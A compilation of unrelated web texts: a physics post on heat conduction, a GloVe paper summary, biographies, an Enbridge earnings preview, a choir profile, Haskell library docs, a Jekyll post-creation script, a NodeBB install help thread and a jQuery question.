Here JQ is the rate of flow of heat, across unit area perpendicular to the direction of flow, dT/dx is the temperature gradient and the constant, k, is called the thermal conductivity of the stuff the heat is flowing through. Equation 2 is called Fourier’s law of heat conduction and was the inspiration for Fick to derive equation 1 – there is more about Fourier and his work in post 18.14.
What are the units of k? The SI units of JQ are J.m-2.s-1, the rate of flow of heat measured in joules (J, post 16.35) per unit area, per second. But 1 J.s-1 = 1 W (a watt, post 16.23), so we can write the units of JQ as W.m-2. The units used to measure T are degrees Kelvin (K, see post 16.34), so the units of dT/dx are K.m-1. Then the units of k are (W.m-2)/(K.m-1) = W.m-1.K-1.
A material that is a good conductor of heat has a high value of k. Metals have very high values of k: if you stir a hot drink with a metal spoon, the handle gets hot, if you use a plastic spoon the handle doesn’t get hot. This is because, in metals, the electrons are free to move in conduction bands (post 16.31) and transmit heat energy. Any further explanation would make this post very long and very complicated!
Equations 1 and 2 allow us to calculate rates of diffusion, for example, in the controlled release of drugs, and thermal conductivity, for example, to help design thermal insulation of buildings. They can also be developed into partial differential equations, analogous to the wave equation (post 19.12) to describe how diffusing materials and temperature depend on position and time. This will be the subject of the next post.
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GloVe: Global Vectors for Word Representation
GloVe: Global Vectors for Word Representation – Pennington et al. 2014
Yesterday we looked at some of the amazing properties of word vectors with word2vec. Pennington et al. argue that the online scanning approach used by word2vec is suboptimal since it doesn’t fully exploit statistical information regarding word co-occurrences. They demonstrate a Global Vectors (GloVe) model which combines the benefits of the word2vec skip-gram model when it comes to word analogy tasks, with the benefits of matrix factorization methods that can exploit global statistical information. The GloVe model…
… produces a vector space with meaningful substructure, as evidenced by its performance of 75% on a recent word analogy task. It also outperforms related models on similarity tasks and named entity recognition.
The source code for the model, as well as trained word vectors can be found at http://nlp.stanford.edu/projects/glove/
Matrix factorization vs shallow-window methods
Matrix factorization methods such as Latent Semantic Analysis (LSA) use low-rank approximations to decompose large matrices capturing statistical information about a corpus. In LSA, rows correspond to words or terms, and the columns correspond to different documents in the corpus. In the Hyperspace Analogue to Language (HAL) and derivative approaches, square matrices are used where the rows and columns both correspond to words and the entries correspond to the number of times a given word occurs in the context of another given word (a co-occurrence matrix). One problem that has to be overcome here is that frequent words contribute a disproportionate amount to the similarity measure and so some kind of normalization is needed.
Shallow-window methods learn word representations from local context windows (as we saw yesterday with word2vec):
Unlike the matrix factorization methods, the shallow window-based methods suffer from the disadvantage that they do not operate directly on the co-occurrence statistics of the corpus. Instead, these models scan context windows across the entire corpus, which fails to take advantage of the vast amount of repetition in the data.
How GloVe finds meaning in statistics
The statistics of word occurrences in a corpus is the primary source of information available to all unsupervised methods for learning word representations, and although many such methods now exist, the question still remains as to how meaning is generated from these statistics, and how the resulting word vectors might represent that meaning.
Pennington et al. present a simple example based on the words ice and steam that sheds some light on this question.
The relationship of these words can be examined by studying the ratio of their co-occurrence probabilities with various probe words, k.
Let P(k|w) be the probability that the word k appears in the context of word w. Consider a word strongly related to ice, but not to steam, such as solid. P(solid | ice) will be relatively high, and P(solid | steam) will be relatively low. Thus the ratio of P(solid | ice) / P(solid | steam) will be large. If we take a word such as gas that is related to steam but not to ice, the ratio of P(gas | ice) / P(gas | steam) will instead be small. For a word related to both ice and steam, such as water we expect the ratio to be close to one. We would also expect a ratio close to one for words related to neither ice nor steam, such as fashion.
The following table shows that this does indeed pan out in practice:
The above argument suggests that the appropriate starting point for word vector learning should be with ratios of co-occurrence probabilities rather than the probabilities themselves…. Since vector spaces are inherently linear structures, the most natural way to [encode the information present in a ratio in the word vector space] is with vector differences.
From the GloVe project page:
The training objective of GloVe is to learn word vectors such that their dot product equals the logarithm of the words’ probability of co-occurrence. Owing to the fact that the logarithm of a ratio equals the difference of logarithms, this objective associates (the logarithm of) ratios of co-occurrence probabilities with vector differences in the word vector space. Because these ratios can encode some form of meaning, this information gets encoded as vector differences as well. For this reason, the resulting word vectors perform very well on word analogy tasks, such as those examined in the word2vec package.
To deal with co-occurrences that happen rarely or never – which are noisy and carry less information than the more frequent ones – the authors use a weighted least squares regression model. One class of weighting functions found to work well can be parameterized as
The performance of the model depends weakly on the cutoff, which we fix to xmax = 100 for all our experiments. We found that α = 3/4 gives a modest improvement over a linear version with α = 1. Although we offer only empirical motivation for choosing the value 3/4, it is interesting that a similar fractional power scaling was found to give the best performance in [word2vec].
The model generates two sets of word vectors. When the co-occurrence matrix is symmetric, these differ only as a result of their random initializations: the two sets of vectors should perform equivalently.
On the other hand, there is evidence that for certain types of neural networks, training multiple instances of the network and then combining the results can help reduce overfitting and noise and generally improve results. With this in mind, we choose to use the sum [of the two sets] as our word vectors. Doing so typically gives a small boost in performance, with the biggest increase in the semantic analogy task.
Results
The model was trained on five corpora including a 2010 Wikipedia dump with 1 billion tokens and a 2014 Wikipedia dump with 1.6 billion tokens, Gigaword 5 with 4.3 billion tokens, a combination of Gigaword 5 and the 2014 Wikipedia dump totalling 6 billion tokens, and finally 42 billion tokens of web data from Common Crawl.
We tokenize and lowercase each corpus with the Stanford tokenizer, build a vocabulary of the 400,000 most frequent words, and then construct a matrix of co-occurence counts… we use a decreasing weighting function so that word pairs that are d words apart contribute 1/d to the total count.
This pass can be computationally expensive, but it’s a one time up-front cost. GloVe does very well on the word analogy task, achieving class-leading combined accuracy of 75%. It also gets great results on word similarity and named entity recognition tests.
Word analogy task results:
Word similarity:
Named Entity Recognition:
Compared to word2vec, for the same amount of training time GloVe shows improved accuracy on the word analogy task.
The authors conclude:
In this work we argue that the two classes of methods are not dramatically different at a fundamental level since they both probe the underlying co-occurrence statistics of the corpus, but the efficiency with which the count-based methods capture global statistics can be advantageous. We construct a model that utilizes this main benefit of count data while simultaneously capturing the meaningful linear substructures prevalent in recent log-bilinear prediction-based methods like word2vec. The result, GloVe, is a new global log-bilinear regression model for the unsupervised learning of word representations that outperforms other models on word analogy, word similarity, and named entity recognition tasks.
16 thoughts on “GloVe: Global Vectors for Word Representation
1. Thank you for that excellent description.
In “If we take a word such as gas that is related to steam but not to ice, the ratio of P(solid | ice) / P(solid | steam) will instead be small.”
P(solid | ice) / P(solid | steam) should be
P(gas | ice) / P(gas | steam), or am I misunderstanding?
2. What I dont understand is how the Global part goes in the model. word2vec seems the same as GloVe except that GloVe uses co-occurances directly instead of Neural Net. What puzzles me is both uses context windows, so how is GloVe global while word2vec is not?
1. GloVe is global in the sense that it uses co-occurrence frequencies, so a measure that is global with respect to the training data. So it goes through the corpus, counting the co-occurrences and then transforms them. To phrase it differently, it is fitted to the structure of the corpus (in terms of its word co-occurrences).
Word2Vec never calculates any global statistics. It iteratively runs through the corpus, sees a couple of words at a time and tries to predict the word in the middle from its surrounding words or the surrounding words from the word in the middle. It does not involve the concept of frequencies, it is completely local in that it only sees one tiny fragment at a time and learns from that and only that.
GloVe and Word2Vec therefore are trained on different views on the data. Neither of them is inherently better, GloVe is better in that the tabulated training data it operates over is massively decreased in size and so easier to extend and work on, but that is because it is discarding information, in particular the order. Word2Vec takes longer to train, but allows to capture order effects and easily continue learning, whereas when you try to add more data to GloVe you will need to do the fitting all over again.
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George Charles Baker Spouse Jane Colyer Father George Baker Mother Phoebe Ann Openshaw Children Bertha Muriel Charles Birth 7 May 1853 Hobart, Tasmania, Australia Death 26 Feb 1910 Dunedin, Dunedin, Otago, New Zealand Residence 1900 Caversham, Dunedin, Otago, New Zealand
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Gregory Jones (barrister)
Gregory Percy Jones (born 4 January 1968), is a British lawyer, who serves as an Alderman of the City of London since 2017.
Background and education
Of ancient Welsh extraction he was born to Dr Colin Jones in Kent, where attended Pelham Road Infants and Primary Schools in Bexleyheath and passed the 11-plus. He was educated at Colfe's School (Exhibitioner), before winning a Leathersellers' Scholarship and a Barclay's Bank Scholarship to go up to New College, Oxford, where he read Jurisprudence (graduating MA). Playing for New College 1st XV at rugby, he also served as President of the Oxford Law Society in 1987 and Treasurer of the Oxford Union in 1988. Jones took a year out of education before pursuing further studies in law at the Inns of Court School of Law (BVC) and University College London (LLM).
Career
Jones was selected to tour the US in 1989 as part of the British National Debate Team organized by the English Speaking Union. He was a stagiaire at the European Commission in 1990. He took his Bar finals at the Inns of Court School of Law whilst a resident at the London House for Overseas Graduates (now called Goodenough College). Jones was called to the Bar at Lincoln's Inn in 1991, taking silk in 2011. A Lincoln's Inn Hardwicke Scholar and Thomas More Bursar, he was also the first Jean Pierre Warner Scholar to the European Court of Justice (1995). Jones is a practising barrister at the independent bar, a member of Francis Taylor Building at the Temple, London, and an associate tenant at KBW Chambers in Leeds. Described in 2017 by Chambers and Partners as "the thinking man's QC" and as "not just the meat-and-two-veg planning silk, he can deal very comfortably with European issues and complexity across the board".
A Fellow of the Centre of European Law at King's College London, and Chancellor of the diocese of Manchester and Deputy Chancellor of the diocese of Truro. Jones was a member of the governing House Council of St. Stephen's House, Oxford (2011–20).
A Bencher of Lincoln's Inn since 2019 Jones has also served as a Bencher of Inner Temple from 2020.
Jones served as a Common Councilman for the Ward of Farringdon Without from 21 March 2013 until his election as an Alderman of the City of London for the same ward on 8 February 2017. A Liveryman (then Third Warden for 2020/21) of the Worshipful Company of Leathersellers as well as of the Butchers' and Arbitrators' Companies, Jones is Sheriff-elect of the City of London (for 2024/25).
Jones served for five years as a Governor of Colfe's School and then for seven years as Governor of the Leathersellers' Federation of Schools (three state schools in Lewisham). He is Trustee of the Prendergast Trust and President of the Sir John Staples Society which promotes cultural activities for the Leathersellers' Federation Schools. In 2018, Jones was also appointed a Governor of Goodenough College. In 2015, Jones was appointed by the Irish government to chair an independent expert organizational review of An Bord Pleanála, the independent, statutory, quasi-judicial body responsible for strategic infrastructure and various environmental permitting decisions and all appeals from planning decisions made by local planning authorities in Ireland; the report was published in February 2016 and made 101 recommendations. He serves as a Director of Eye Solar Ltd, a renewables energy company.
Family
Jones is married to Rosali Margaretha Pretorius, a qualified music teacher and solicitor. She is a senior partner in the financial markets practice of Simmons & Simmons.
Publications
Jones is the co-author of several leading legal texts including:
* "The SEA Directive - A Plan for Success?" co-edited Jones and Scotford (Hart, 2017);
* "The Habitats Directive - A Developer's Obstacle Course?" edited by Jones (Hart, 2012);
* "Statutory Nuisance Law and Practice" (4th. Ed.) by McCracken, Jones, and Pereira (Bloomsbury, 2019);
* "Environmental Law in Property Transactions" (4th. Ed.) by Waite, Jones and Fogelmann (Bloomsbury, 2016). | WIKI |
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Key Factors to Know Ahead of Enbridge's (ENB) Q4 Earnings
Enbridge Inc.ENB is expected to report fourth-quarter 2018 earnings on Feb 15, before the opening bell.
In third-quarter 2018, the energy infrastructure player met the Zacks Consensus Estimate of 42 cents. In the trailing four quarters, the company delivered a positive earnings surprise of 33.2%, without missing any estimates. This can be attributed to higher throughput volumes and key developments that have recently started operating. In the to-be-reported quarter, Enbridge is expected to repor t earnings of 45 cents per share.
Enbridge Inc Price and EPS Surprise
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Let's see how things are shaping up for this announcement.
Which Way are Estimates Trending?
Let's take a look at estimate revisions to get a clear picture of what analysts are thinking about the company before the earnings release.
The Zacks Consensus Estimate of 45 cents for the fourth quarter has seen one upward and a downward revision by firms in the past 30 days. It reflects a year-over-year decrease of about 6.3%.
Factors at Play
Enbridge has the longest and most advanced crude and liquids pipeline system in the world that spreads over 17,018 miles. In Canada, the company is touted to be the largest natural gas distributer. Hence, it is quite obvious that a significant portion of the company's earnings is generated from transportation operations, driven by a string of long-term contracts. The substantial contract base will likely provide the company with a stable cash flow in the quarter to be reported. For 2018, the company expects distributable cash flow at the upper limit of its guided range of C$4.15-C$4.45 per share.
Enbridge has already brought online roughly C$20 billion worth of growth developments through 2017 and 2018. In 2018 alone, the company brought into service C$7-billion worth projects, which are expected to drive year-over-year growth. Also, the projects were placed into service on time and didn't exceed budget, reflecting its strong project execution skills.
The acquisition of Spectra Energy led to the incorporation of leading natural gas transportation and storage assets to Enbridge's portfolio. The merger has enabled the company to diversify its asset portfolio, as well as generate cash flow from natural gas and oil midstream infrastructure properties. Enbridge has become the largest energy infrastructure company in North America following the acquisition. The positivity from the deal is likely to be reflected in the to-be-reported quarter.
It is to be noted that the company estimates 2018 consolidated EBITDA to be around C$12,500 million. Notably, the company recorded EBITDA of C$6,721 million in the first nine months of the year.
However, the company's year-over-year total operating costs in third-quarter 2018 rose 35.6% from the prior-year level. Expenses related to operations and administration also increased nearly 5%. If the trend continues in fourth-quarter 2018, its bottom line will be hurt.
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Our proven model does not conclusively show that Enbridge is likely to beat the Zacks Consensus Estimate in the quarter to be reported. This is because a stock needs to have both a positive Earnings ESP and a Zacks Rank #1 (Strong Buy), 2 (Buy) or 3 (Hold) for this to happen. Unfortunately, this is not the case here as elaborated below.
Earnings ESP: Earnings ESP represents the difference between the Most Accurate Estimate and the Zacks Consensus Estimate. Enbridge has an ESP of -3.50% as the Most Accurate Estimate stands at 44 cents while the Zacks Consensus Estimate is pegged at 45 cents. You can uncover the best stocks to buy or sell before they're reported with our Earnings ESP Filter .
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My name is Jennifer and I am a senior at Cornell University majoring in Communication and minoring in Business. I created this account for a class, Online Communities, and am looking forward to learning more about how Wikipedia works.
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Also, the Wikipedia page on [Self-Disclosure] needs cleaning up, and could be improved by adding studies done in the field of Communication.
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America’s Most Astonishing Choir Hates Sounding Pretty
critic’s notebook The Crossing, led by Donald Nally, combines an embrace of the new, a social conscience and fearless technique. PHILADELPHIA — “I hate pretty. I can’t stand listening to pretty.” It was funny to hear this coming from Donald Nally, the conductor of the Crossing, a choir devoted to new music that makes some of the prettiest sounds you’ll ever hear. Just listen to the opening of their recording of Lansing McLoskey’s “Zealot Canticles”: hovering yet full tones, like the gentle tolling of a celestial bell. (It won the 2019 Grammy Award for best choral performance.) Or the final section of their recording of Gavin Bryars’s “The Fifth Century,” in which silvery female voices float above dark, velvety male ones, like bands of color in a Rothko painting. (It won the same award in 2018.) On a recent Friday, rehearsing “Aniara” — the Crossing’s first theatrical production, which opens on Thursday for five performances at Christ Church Neighborhood House in Philadelphia and travels to the Netherlands next month for the group’s European debut — the mass of voices was mellow and airy but never faceless or cold, each voice maintaining its individuality in the cloud. “What I love is the absolute precision of pitch and rhythm, but also a warmth,” said Caroline Shaw, the Pulitzer Prize-winning composer who wrote the surging, radiant “To the Hands” for the Crossing and is at work on a major new commission for the group. “You can go to them with anything.” Composers have done just that. Michael Gordon is gradually creating a work for them with the filmmaker Bill Morrison that will be performed over 24 hours. In “Animals,” Ted Hearne pushed the group’s voices into yelps, howls and hisses for a harrowing reflection on President Trump’s comments about undocumented immigrants: “These aren’t people. These are animals.” That piece is emblematic of the ethos that has made the Crossing one of the country’s most exciting vocal ensembles: an embrace of the new, a social conscience and fearless technique, brought together in a marriage that transcends mere prettiness. A Crossing program is often politically charged — taking on issues like homelessness, the Deepwater Horizon oil rig disaster and corporate personhood — without being didactic. The group is uninterested in, ahem, preaching to the choir, preferring works that are suggestive and ambiguous. “Artists are not in the position to know the answers,” Mr. Nally said. “What do artists think they’re doing, affirming our own morality? It’s worthless. I really believe that. I think we should be presenting the facts and the questions, in an art context.” The 90-minute “Aniara,” based on a melancholy epic poem by the Swedish Nobel laureate Harry Martinson, takes place on the last spaceflight off a ruined earth — a symbolic microcosm of a society in crisis amid environmental destruction. The score is by Robert Maggio, with a libretto by Dan Henriksson, of the Finnish theater company Klockriketeatern. Joining the Crossing are two actors and a small instrumental ensemble on a catwalk strip of stage in a stylized sci-fi landscape of shifting bars of light. (The performances on Friday evening and Saturday afternoon will be live streamed at crossingchoirlive.com.) Under Mr. Nally’s wry, caring direction at an early staging rehearsal at the Presbyterian Church of Chestnut Hill, the Crossing’s longtime home, the group fine-tuned intonation and diction, making sure “evil” was pronounced “e-vull,” not “e-vill.” The singers practiced martial arts-like movements and rubbed smooth stones together to make a soft roar, like the sound of a distant ocean. “It should feel ritualistic, but in a broken way,” Mr. Nally said of the singing at one point — immaculate, yet unpretty. As a young man, Mr. Nally dreamed of becoming a classical saxophonist. But by his freshman year of college, he’d switched to voice, and was almost immediately conducting church choirs. In the mid-1990s, he was commissioned by Gian Carlo Menotti’s Spoleto Festival in Italy to form a festival choir, which became his laboratory for the development of a new sound. “I had come up in this tradition of robust American singing, and that was never really in my ear,” he said. “It doesn’t work in contemporary music, because you can’t hear what the harmonies are. So I started to clean it out, and it started to make sense to me. I tried to find a way to make sounds that could hover, that didn’t have to move forward, that rejected 19th-century ideas about line and linearness.” It was a sound with the calm purity of early-music performance, but also the agility and flexibility demanded by new music. Above all, it was clear. And it eventually gave rise to the Crossing, at first a casual reunion of singers who’d loved working with one another, which had its first performance in the fall of 2005. Swiftly deciding to focus on new music, the group barely advertised itself but eagerly threw live recordings online. It built an audience in Philadelphia, and word soon began to spread among musicians and composers that a formidable force had arrived: An adventurous, fiercely talented choir was looking not just to sing, but also create a whole new repertoire. Claire Chase, then the artistic director of the International Contemporary Ensemble, was looking for a singing group that could join in the premiere of James Dillon’s sprawling, thorny “Nine Rivers” when she heard an early Crossing recording. “My jaw went on the floor,” Ms. Chase said. “It felt like a prayer had been answered.” “Donald immediately wanted to do things,” she added. “He didn’t want to just talk about things. And, all of a sudden, all of this repertoire that we wanted to do, and couldn’t, was possible.” Mr. Nally is, Ms. Chase said, “that unicorn artistic director, in that he’s as down to earth as he is visionary, and as driven as he is reflective and humble, and as curious as he is ambitious.” The Crossing has commissioned dozens of works, with its ambitions growing with its stature. In 2016, the group unveiled “Seven Responses,” which asked composers to write 15-minute pieces inspired by the seven cantatas of Buxtehude’s 17th-century “Membra Jesu Nostri.” Ms. Chase’s ensemble and Quicksilver shared instrumental duties, a rare meeting of new- and early-music ensembles. The Crossing’s annual budget has grown to over $1 million, and last year it hired a full-time executive director, Jonathan Bradley, as it plans to accelerate an already robust recording schedule. The group’s office is still in a closet at the Presbyterian Church of Chestnut Hill. But, Mr. Bradley said with a smile as he pointed to a high shelf, “it’s a closet with a Grammy.” Mr. Nally has pursued projects on his own. In New York, he served as music director for David Lang’s “The Mile-Long Opera,” for a thousand voices on the High Line, and recently prepared the choruses for the New York Philharmonic’s premieres of Mr. Lang’s “prisoner of the state” and Julia Wolfe’s “Fire in my mouth.” Since 2012, he has taught at Northwestern University. But his passion remains the Crossing. A core part of the group has been together since the beginning, and its artistry emerges from that long immersion in one another’s lives and voices. “That’s where the sound comes from,” he said. “It comes from a group of people who know each other really well and pay attention.” It’s a pristine sound. But there’s also urgency in it; a sense of searching; always a reason behind the gorgeousness. “I like beautiful,” Mr. Nally said. “But I can smell beauty for the sake of beautiful from a mile away, and I run.” Aniara Thursday through Sunday at Christ Church Neighborhood House, Philadelphia; aniara.crossingchoir.org. | NEWS-MULTISOURCE |
chp-2.1.0.1: An implementation of concurrency ideas from Communicating Sequential Processes
Control.Concurrent.CHP.Parallel
Synopsis
Documentation
runParallel :: [CHP a] -> CHP [a]Source
This type-class supports parallel composition of processes. You may use the runParallel function to run a list of processes, or the <||> operator to run just a pair of processes.
In each case, the composition waits for all processes to finish, either successfully or with poison. At the end of this, if any process exited with poison, the composition will "rethrow" this poison. If all the processes completed successfully, the results will be returned. If you want to ignore poison from the sub-processes, use an empty poison handler and onPoisonTrap with each branch.
Runs the given list of processes in parallel, and then returns a list of the results, in the same order as the processes given. Will only return when all the inner processes have completed.
In version 1.5.0, a bug was introduced such that runParallel [] would deadlock; this was fixed in version 1.5.1.
runParallel_ :: [CHP a] -> CHP ()Source
Runs all the given processes in parallel and discards any output. Does not return until all the processes have completed. runParallel_ ps is effectively equivalent to runParallel ps >> return ().
In version 1.5.0, a bug was introduced such that runParallel_ [] would deadlock; this was fixed in version 1.5.1.
(<||>) :: CHP a -> CHP b -> CHP (a, b)Source
A useful operator for performing a two process equivalent of runParallel that gives the return values back as a pair rather than a list. This also allows the values to have different types
(<|*|>) :: CHP a -> CHP b -> CHP ()Source
An operator similar to <||> that discards the output (more like an operator version of runParallel_).
Added in version 1.1.0.
runParMapM :: (a -> CHP b) -> [a] -> CHP [b]Source
A shorthand for applying mapM in parallel; really the composition of runParallel and map.
Added in version 1.5.0.
runParMapM_ :: (a -> CHP b) -> [a] -> CHP ()Source
A shorthand for applying mapM_ in parallel; really the composition of runParallel_ and map.
Added in version 1.5.0.
data (Monad m, MonadCHP m) => ForkingT m a Source
A monad transformer used for introducing forking blocks.
forking :: MonadCHP m => ForkingT m a -> m aSource
Executes a forking block. Processes may be forked off inside (using the fork function). When the block completes, it waits for all the forked off processes to complete before returning the output, as long as none of the processes terminated with uncaught poison. If they did, the poison is propagated (rethrown).
fork :: MonadCHP m => CHP () -> ForkingT m ()Source
Forks off the given process. The process then runs in parallel with this code, until the end of the forking block, when all forked-off processes are waited for. At that point, once all of the processes have finished, if any of them threw poison it is propagated. | ESSENTIALAI-STEM |
Sir William Lawrence, 5th Baronet
Sir William Fettiplace Lawrence, 5th Baronet, OBE (23 August 1954 – 10 February 2015) was an English baronet and politician.
Lawrence was born on 23 August 1954, the son of Sir William Lawrence and his wife Pamela, Lady Lawrence. He was educated at King Edward VI School, Stratford-upon-Avon. He succeeded to his father's baronetcy in 1986 (see Lawrence Baronets). His unusual middle name came from the Fettiplace family from which the Lawrences were descended.
Lawrence filled numerous roles in his political career, specialising in the promotion of tourism in the Midlands. He was a member of the Stratford-on-Avon District Council from 1982, on the South Warwickshire General Hospital NHS Trust, a member of the Heart of England Tourist Board from 1989 (and Chairman after 1991), a governor of King Edward VI School and of Stratford-on-Avon Girls Grammar School, and a Governor of the Royal Shakespeare Theatre. He was also president of the British Toilet Association, campaigning for better toilet facilities for the disabled.
He was made an Officer of the Order of the British Empire in 2003 for services to the tourist industry, and an honorary MA of the University of Worcester.
He contracted polio at the age of three, and used a wheelchair for the rest of his life. He married February 2005 Tamara Bubashvili of Tbilisi, Georgia, b. 1977. | WIKI |
Australian Opposition May Seek Carbon Plebiscite, Telegraph Says
Australia’s opposition Liberal-
National coalition may introduce a bill to parliament to force
the government to seek voter approval on the introduction of a
carbon tax, the Daily Telegraph reported, citing leader Tony
Abbott . If the bill is passed by both houses, the government
will have 90 days to call the plebiscite, which requires
registered voters to make a decision on the tax, the Telegraph
said. A plebiscite is not binding on a government like a
referendum, according to the report. To contact the reporter on this story:
Ben Sharples in Melbourne at
bsharples@bloomberg.net To contact the editor responsible for this story:
Tim Smith at
tsmith58@bloomberg.net | NEWS-MULTISOURCE |
New England Revolution Capsule - Washington Times
Sign In Manage Newsletters America's suburban middle-class reckoning is near Pinning the 'California Dreaming' on Caitlyn Jenner Ending the tyranny of cancel culture and building an agenda that will win back America NEW ENGLAND REVOLUTION LAST YEAR: 14-11-9 (Tied for 7th place overall, Tied for 3rd in Eastern Conference). WHO'S BACK: F Diego Fagundez, M Chris Tierney, M Lee Nguyen, F Kelyn Rowe, GK Bobby Shuttleworth, F Saer Sene, D Jose Goncalves, D Andrew Farrell, D Kevin Alston, D A.J. Soares, M Stephen McCarthy. TOP STORIESAmericans sleepwalking into a socialist nightmareFranklin Graham: Biden omitting 'God' from prayer proclamation 'speaks volumes'Pelosi refuses to denounce father's complicity in racism WHO'S GONE: F Juan Agudelo, GK Matt Reis WHO'S NEW: F Teal Bunbury, M-F Steve Neumann, M-F Patrick Mullins, GK Brad Knighton, D O'Brian Woodline. WHAT'S AHEAD: The Revolution hope to keep building after reaching the MLS playoffs for the first time since 2009. They had an eight-match unbeaten streak (6-0-2) before losing in the semifinals against Sporting Kansas City. Bunbury, 23, should provide some offense after being acquired in a trade with Sporting Kansas City. He had 19 goals in his first three MLS seasons. Fagundez, just 19, is the team's primary offensive threat after finishing fifth in MLS with 13 goals last season. The defense also improved last year with rookie Farrell, a first-round draft pick from Louisville, and Goncalves, who played every minute of every match. The Revolution allowed just 38 goals last season. Shuttleworth was solid in his first season as first-string goalkeeper. With Matt Reis retiring after 16 MLS seasons, the Revolution brought in Brad Knighton from Vancouver to back up Shuttleworth. Copyright 2021 The Washington Times, LLC. Click to Read More and View Comments Click to Hide Terms of Use / Privacy Policy / Manage Newsletters | NEWS-MULTISOURCE |
This will allow you to create new post in Jekyll without manually creating the file in _posts directory
by running
Add the following to your Gemfile:
gem 'thor'
gem 'stringex'
Run bundle install and create a jekyll.thor file with the following contents:
# Usage:
# thor jekyll:new The title of the new post
# thor jekyll:new The title of the new post --editor=vim
require "stringex"
class Jekyll < Thor
desc "new", "create a new post"
method_option :editor, :default => "code"
def new(*title)
title = title.join(" ")
date = Time.now.strftime('%Y-%m-%d')
filename = "_posts/#{date}-#{title.to_url}.markdown"
if File.exist?(filename)
abort("#{filename} already exists!")
end
puts "Creating new post: #{filename}"
open(filename, 'w') do |post|
post.puts "---"
post.puts "layout: post"
post.puts "title: \"#{title.gsub(/&/,'&')}\""
post.puts "categories:"
post.puts "tags:"
post.puts " -"
post.puts "---"
end
system(options[:editor], filename)
end
end
Define a new task and prompt in your .vscode/task.json file:
{
// See https://go.microsoft.com/fwlink/?LinkId=733558
// for the documentation about the tasks.json format
"version": "2.0.0",
"tasks": [
// ...
{
"label": "Create new post",
"type": "shell",
"command": "thor jekyll:new ${input:posttitle}",
"group": {
"kind": "build",
"isDefault": true
},
"problemMatcher": []
}
],
"inputs": [
{
"id": "posttitle",
"description": "Post Title",
"default": "Your new post title",
"type": "promptString"
},
]
}
Open the command pallete Ctrl+Shift+P and type Tasks: Run Task then select Create new post then enter the title on the prompt.
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I will be editing under @Rodgerjl6 Her sandbox is where my group will be doing our editing.
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Install error: "no such file or directory"
• I've been following the @Ted tutorial as seen here:
https://words.tedrinehart.me/the-beginners-guide-to-nodebb/
I'm having an issue at the point where I need to fetch the nodebb files ("no such file or directory"):
**testuser@forum:~$ git\ clone\ -b\ v0.6.x\ https://github.com/NodeBB/NodeBB.git\ nodebb
-bash: git clone -b v0.8.x https://github.com/NodeBB/NodeBB.git nodebb: No such file or directory
**
I even tried replacing the 0.6.x with 0.8.x but it did not help.
I am a total noob at this, and have been trying to install nodebb on DigitalOcean for a few days now.
Any help offered would be greatly appreciated 😃
• Gamers
This tutorial already seems outdated. I suggest you to follow official NodeBB document depending on your OS.
• If I could install using the official docs I wouldn't be searching for alternative methods. For total noobs, nodebb has got to rank as the most difficult forums install I've ever had to endure.
• FreeBSD/OpenBSD
@ron_jeremy Let's start from the beginning. Given the tutorial you tried to follow, you are using Ubuntu, right ? If you did not manage to install with two different tutorials, may be the problem is somewhere else.
From what you say, the problem occurs when you try to fetch NodeBB with Git. Could you please post here the command you used to do it ? And format your output so we can read it easily, I have hard time to read the one you posted.
• Community Rep
@ron_jeremy said:
For total noobs, nodebb has got to rank as the most difficult forums install I've ever had to endure.
It's also the newest, so there are some rough spots to iron out...
• @hukadan Hello and thanks for offering to help!
I started with a fresh install (droplet on DigitalOcean) of Ubuntu x64 then followed the @Ted tutorial. Everything was going great until I got to the part where I had to fetch the nodebb files. See my original post to see the command I used and where I am stuck. And, you can reference that on the tutorial I was following to see what step I'm on.
• FreeBSD/OpenBSD
@ron_jeremy Yep. I read that already. But if I try the command given on the tutorial, it works for me. So I had the impression you typed something else. So, just to be sure, you just did :
% git clone -b v0.8.x https://github.com/NodeBB/NodeBB.git nodebb
And it did not work ?! Also, I tried to reproduce the "no such file or directory" on my system but could not. On my system, this command gives me :
% git clone -b v0.8.x https://github.com/NodeBB/NodeBB.git nodebb
Cloning into 'nodebb'...
remote: Counting objects: 84932, done.
remote: Compressing objects: 100% (222/222), done.
remote: Total 84932 (delta 111), reused 0 (delta 0), pack-reused 84710
Receiving objects: 100% (84932/84932), 25.97 MiB | 1017.00 KiB/s, done.
Resolving deltas: 100% (62000/62000), done.
Checking connectivity... done.
Of course, same result with v0.6.x. If you cannot achieve that you clearly have a problem but it is not related to NodeBB.
• Community Rep
@ron_jeremy I'm seeing escaping backslashes in your original command, you shouldn't need those when you type the 'git clone' command
You don't actually need the last argument, you can just clone with the command:
git clone https://GitHub.com/Nodebb/nodebb.git
• Translator
@BDHarrington7 said:
@ron_jeremy I'm seeing escaping backslashes in your original command, you shouldn't need those when you type the 'git clone' command
You don't actually need the last argument, you can just clone with the command:
git clone https://GitHub.com/Nodebb/nodebb.git
I think if he clone the repo that way, he would be working on master branch by default. Instead using the -b 0.8.x he is setting the 0.8.x branch to work with. So it would affect the installation, so master its not the stable branch.
But you are right, he could simply type the command you suggested, and then switch to 0.8.x branch.
• I am up and running! I am pretty sure I figured out what the issue was. Oh man, this is embarrassing...
So, I used the Terminal on my Mac to ssh into the server. However, what I didn't know is that I must have somehow lost the connection either from being away from the computer for too long and/or letting the computer go to sleep. So, when I would go back to continue with the tutorial I was no longer connected to the server, and thus when I was running the command I would see the error. I dunno, I think that's what happened. Anyway, that's my story and I'm sticking to it!
Star
Looks like your connection to NodeBB was lost, please wait while we try to reconnect. | ESSENTIALAI-STEM |
Check if checkbox is checked with jQuery
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How can I check if a checkbox in a checkbox array is checked using the id of the checkbox array?
I am using the following code, but it always returns the count of checked checkboxes regardless of id.
function isCheckedById(id) {
alert(id);
var checked = $("input[@id=" + id + "]:checked").length;
alert(checked);
if (checked == 0) {
return false;
} else {
return true;
}
}
Jun 23 in Web Development by gaurav
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To check whether a Checkbox has been checked, in jQuery, you can simply select the element, get its underlying object, instead of the jQuery object ( [0] ) and use the built-in checked property: let isChecked = $('#takenBefore')[0]. checked console. log(isChecked);
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* 1) The unionized layer of the atmosphere between the surface and the ionosphere
Translations
